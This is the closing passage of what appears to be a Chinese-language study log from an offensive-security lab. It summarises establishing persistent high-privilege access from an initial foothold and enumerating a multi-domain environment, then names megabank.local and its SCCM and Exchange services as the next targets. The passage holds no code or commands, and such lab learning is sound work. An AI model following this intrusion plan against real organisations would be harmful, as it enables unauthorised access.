核心成果: 掌握了从一个不稳定的初始立足点,通过组合策略,建立稳定、持久化、高权限访问通道的全过程。并利用该通道,综合运用多种主被动探测技术,对一个复杂的多域环境进行了全面的信息收集,成功绘制了战场地图。
后续任务: 下一步将利用本周枚举到的详尽信息,对新发现的
megabank.local域和SCCM、Exchange等高价值服务,展开针对性的攻击。学习心态:
不要依赖自动化: 手动枚举是理解域环境复杂性的核心方法。
不要畏惧工具: 采用结构化、探索式的方法去学习,而不是死记硬背。
动手实践: 只有通过大量的上手操作,才能将理论知识转化为真正的实战能力。
-.-
评论区